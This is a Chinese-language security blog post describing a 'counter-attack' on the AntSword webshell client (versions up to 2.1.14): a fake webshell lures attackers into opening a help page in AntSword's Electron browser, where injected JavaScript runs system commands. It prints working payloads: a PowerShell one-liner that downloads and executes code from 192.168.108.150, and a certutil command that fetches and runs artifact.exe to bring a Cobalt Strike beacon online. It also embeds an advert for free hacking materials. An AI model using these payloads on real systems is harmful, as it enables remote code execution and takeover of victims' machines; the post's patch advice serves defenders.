前言


中國蟻劍使用Electron構建客戶端軟件,Electron實現上用的是Node.js,并且Node.js能執行系統命令,故可以利用蟻劍的webshell頁面嵌入js來直接執行命令,進而釣魚來上線CS。(類似Goby,Goby也是使用Electron構建客戶端軟件)


關鍵實現


蟻劍在虛擬終端時,頁面上出現http/https協議頭時會發生轉換(字體會變藍,表示處于超鏈接的狀態),并且這個鏈接點開時所打開的頁面是以蟻劍內部的瀏覽器進行打開的(最新版本修復后使用用戶自帶的瀏覽器打開),因此這便是我們利用頁面執行Node.js來上線CS的好機會!




反制復現


環境準備:




想要執行系統命令需要借助頁面的加載,此時可以制造假的webshell來故意讓紅隊連接,進而一步步引導紅隊點擊惡意鏈接調用node.js進行命令執行,上鉤。


影響的版本:AntSword < =v2.1.14


AntSword下載:https://github.com/AntSwordProject/antSword/releases


開源假webshell:https://github.com/MD-SEC/Anti_AntSword


1、藍隊故意在服務器放置假的webshell進行釣魚


達到真實的效果可以添加一些提示信息,讓紅隊上鉤


<body>
AntSword password admin
</body>
</html>




紅隊需要讓其點擊的惡意鏈接(利用蟻劍自帶的幫助文檔效果最佳)


【----幫助網安學習,以下所有學習資料免費領!加vx:dctintin,備注“freebuf”獲取!】


① 網安學習成長路徑思維導圖


② 60+網安經典常用工具包


③ 100+SRC漏洞分析報告


④ 150+網安攻防實戰技術電子書


⑤ 最權威CISSP 認證考試指南+題庫


⑥ 超1800頁CTF實戰技巧手冊


⑦ 最新網安大廠面試題合集(含答案)


⑧ APP客戶端安全檢測指南(安卓+IOS)



在釣魚的幫助文檔的開頭插入惡意payload,這里利用powershell一句話上線


<script type="text/javascript">
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.150:8080/a\'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });
</script>


或者下載文件方式上線CS


</script>
<script type="text/javascript">require('child_process').exec("certutil.exe -urlcache -split -f http://192.168.108.150/artifact.exe C:/artifact.exe && C:/Windows/System32/conhost.exe C:/artifact.exe");</script>



注:payload一定要放開頭,放后面可能由于html過大導致命令執行失敗


可以自行編寫攻擊者點擊釣魚鏈接時的話術



2、紅隊開始利用蟻劍進行連接



模擬紅隊的文件瀏覽頁面




模擬紅隊的命令行操作回顯



3、開始釣魚引誘紅隊


當紅隊輸入沒有提前在webshell模擬的命令時,就會回顯一開始我們設置的釣魚話術,引導攻擊者點擊惡意鏈接



紅隊點擊惡意鏈接,出現正常的幫助文檔


將紅隊發送的木馬樣本放在與cve-2022-39197.py腳本同一路徑下



幫助文檔由蟻劍內部的瀏覽器進行解析,該蟻劍瀏覽器會調用我們釣魚頁面惡意的js進行命令執行,然后上線CS


修復建議


1、升級至 AntSword v2.1.15版本


2、加載鏈接時候禁止使用內部瀏覽器打開,使用用戶系統的瀏覽器打開


最后


此蟻劍反制雖然是一個之前曝光的漏洞了,但是基數上還是會有人在使用著存在漏洞的蟻劍版本,對于紅隊來說能白嫖webshell還是很誘惑的,可玩性也很高。